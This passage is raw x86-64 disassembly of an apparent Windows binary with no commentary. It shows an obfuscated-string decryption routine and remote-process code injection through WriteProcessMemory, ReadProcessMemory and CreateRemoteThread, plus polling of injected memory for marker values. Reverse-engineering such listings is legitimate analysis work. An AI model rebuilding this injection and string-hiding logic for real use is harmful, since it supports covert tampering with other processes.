pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, r8d
add edx, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp edx, 0x10
jl 0x140236190
jmp 0x1402363b0
lea r10, [rsp + 0x50]
mov r9d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x43
xor byte [r10 - 1], cl
cmp r9d, 0x10
jl 0x140236360
lea rcx, [rsp + 0x50]
call fcn.1401ba4b0
mov rax, qword [rbp - 0x48]
xor r8d, r8d
mov r9, qword [rbp - 0x40]
xor edx, edx
mov qword [rsp + 0x30], rbx
mov rcx, r13
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x1402366db
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [0x140271f30]
mov r10d, eax
mov dword [rbp - 0x80], ecx
movzx ecx, byte [0x140271f34]
mov byte [rbp - 0x7c], cl
movups xmm0, xmmword [0x140271f18]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x140271f28]
movsd qword [rsp + 0x78], xmm0
cmp esi, 2
jl 0x14023663e
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140272810]
movdqa xmm6, xmmword [0x140272900]
movdqa xmm7, xmmword [0x140272910]
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop word [rax + rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x140236480
cmp eax, 0x1d
jge 0x14023669a
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x43
xor byte [r9 - 1], cl
cmp ebx, 0x1d
jl 0x140236650
mov edx, r10d
lea rcx, [rsp + 0x68]
call fcn.1401ba4b0
mov rdx, rdi
xor r8d, r8d
mov r9d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rbp - 0x48]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rbp - 0x40]
jmp 0x140234f8b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x140271ed8]
mov r9d, ebx
mov dword [rbp - 0x70], eax
movzx eax, word [0x140271edc]
mov word [rbp - 0x6c], ax
movups xmm0, xmmword [0x140271eb0]
movups xmm1, xmmword [0x140271ec0]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x140271ed0]
movsd qword [rbp - 0x78], xmm0
movups xmmword [rsp + 0x78], xmm1
cmp esi, 2
jl 0x140236941
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140272810]
movdqa xmm6, xmmword [0x140272900]
movdqa xmm7, xmmword [0x140272910]
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop word [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
psrad xmm4, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm5
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm4, xmm7
pmuldq xmm2, xmm6
shufps xmm4, xmm1, 0xdd
shufps xmm2, xmm0, 0xdd
psubd xmm4, xmm5
psrad xmm2, xmm10
movdqa xmm0, xmm5
psrad xmm4, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x28
jl 0x140236780
cmp r9d, 0x2e
jge 0x1402369a0
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x43
xor byte [r10 - 1], cl
cmp r9d, 0x2e
jl 0x140236950
mov rdx, qword [rbp - 0x40]
lea rcx, [rsp + 0x68]
call fcn.1401ba4b0
nop
lea rdx, [rbp + 0x50]
mov dword [rbp + 0x50], ebx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov r10d, dword [rbp + 0x50]
cmp r10d, 0x103
jne 0x140238b1d
mov rdx, qword [rbp - 0x48]
lea r8, [rbp + 0x10]
xorps xmm0, xmm0
mov qword [rsp + 0x20], rbx
mov r9d, 0x40
mov rcx, r13
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rdi, qword [rbp + 0x30]
cmp rdi, 0x404040
je 0x14023886b
cmp rdi, 0x505050
jne 0x140236cca
mov eax, dword [0x140271e68]
mov r9d, ebx
mov dword [rbp - 0x78], eax
movups xmm0, xmmword [0x140271e48]
movups xmm1, xmmword [0x140271e58]
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x78], xmm1
cmp esi, 2
jl 0x140236c61
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140272810]
movdqa xmm6, xmmword [0x140272900]
movdqa xmm7, xmmword [0x140272910]
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x20
jl 0x140236aa0
cmp r9d, 0x24
jge 0x140236cc0
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x43
xor byte [r10 - 1], cl
cmp r9d, 0x24
jl 0x140236c70
lea rcx, [rsp + 0x68]
call fcn.1401ba4b0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rdi, rdi
je 0x1402369b0
mov ecx, 0x1400000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x50], rax
mov rdi, rax
test rax, rax
jne 0x140236fa9
movzx eax, word [0x140271dd0]
mov word [rbp - 0x80], ax
movzx eax, byte [0x140271dd2]
mov byte [rbp - 0x7e], al
movups xmm0, xmmword [0x140271db8]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x140271dc8]
movsd qword [rsp + 0x78], xmm0
cmp esi, 2
jl 0x140236f41
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140272810]
movdqa xmm6, xmmword [0x140272900]
movdqa xmm7, xmmword [0x140272910]
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x140236d83
cmp eax, 0x1b
jge 0x140236f9a
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x43
xor byte [r9 - 1], cl
cmp ebx, 0x1b
jl 0x140236f50
lea rcx, [rsp + 0x68]
call fcn.1401ba4b0
jmp 0x140238db7
xor edx, edx
mov r8d, 0x1400000
mov rcx, rdi
call fcn.140241de8
mov rdx, qword [rbp - 0x50]
mov r9d, 0x1000
mov r8, rdi
mov qword [rsp + 0x20], rbx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1402372aa
cmp byte [0x140271df5], bl
movups xmm0, xmmword [0x140271dd8]
mov eax, dword [0x140271df0]
mov dword [rbp - 0x80], eax
movzx eax, word [0x140271df4]
movups xmmword [rsp + 0x68], xmm0
mov word [rbp - 0x7c], ax
movsd xmm0, qword [0x140271de8]
movsd qword [rsp + 0x78], xmm0
je 0x1402372a0
mov r9d, ebx
cmp esi, 2
jl 0x140237241
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140272810]
movdqa xmm6, xmmword [0x140272900]
movdqa xmm7, xmmword [0x140272910]
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
nop word [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x18
jl 0x140237080
cmp r9d, 0x1e
jge 0x1402372a0
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x43
xor byte [r10 - 1], cl
cmp r9d, 0x1e
jl 0x140237250
lea rcx, [rsp + 0x68]
call fcn.1401ba4b0
mov rcx, qword [rbp - 0x38]
mov dword [rbp + 0x50], ebx
movzx eax, word [rcx + 0x14]
lea rdi, [rcx + 0x18]
movzx ecx, word [rcx + 6]
add rdi, rax
test cx, cx
je 0x1402379ad
movzx r9d, word [0x140271e70]
mov ecx, ebx
mov r11d, dword [str.m74__M]
movzx esi, byte [0x140271dfe]
movzx r10d, word [0x140271dfc]
nop dword [rax]
cmp dword [rdi + 8], ebx
je 0x140237991
mov dword [rbp - 0x60], r11d
lea r8, [rbp - 0x60]
xor byte [rbp - 0x5f], 0x45
movzx eax, r9b
xor byte [rbp - 0x5e], 0x47
xor al, 0x4b
xor byte [rbp - 0x5d], 0x49
mov word [rbp - 0x5c], r9w
xor byte [rbp - 0x5b], 0x4d
mov byte [rbp - 0x5c], al
sub r8, rdi
mov rax, rdi
mov byte [rbp - 0x60], 0x2e
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140237343
inc rax
test ecx, ecx
jne 0x140237330
test edx, edx
je 0x1402373ab
mov eax, dword [str.m7___.O]
lea r8, [rbp - 0x58]
mov dword [rbp - 0x58], eax
movzx ecx, sil
xor byte [rbp - 0x57], 0x45
movzx eax, r10b
xor byte [rbp - 0x56], 0x47
xor al, 0x4b
xor byte [rbp - 0x55], 0x49
xor cl, 0x4f
mov word [rbp - 0x54], r10w
xor byte [rbp - 0x53], 0x4d
mov byte [rbp - 0x54], al
sub r8, rdi
mov rax, rdi
mov byte [rbp - 0x58], 0x2e
mov byte [rbp - 0x52], cl
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1402373a3
inc rax
test ecx, ecx
jne 0x140237390
test edx, edx
jne 0x14023798e
mov eax, dword [0x140271d00]
mov r9d, ebx
movups xmm0, xmmword [0x140271cf0]
mov esi, dword [0x140284008]
mov dword [rsp + 0x78], eax
movzx eax, word [0x140271d04]
mov word [rsp + 0x7c], ax
movzx eax, byte [0x140271d06]
mov byte [rsp + 0x7e], al
movups xmmword [rsp + 0x68], xmm0
cmp esi, 2
jl 0x140237601
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140272810]
movdqa xmm6, xmmword [0x140272900]
movdqa xmm7, xmmword [0x140272910]
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
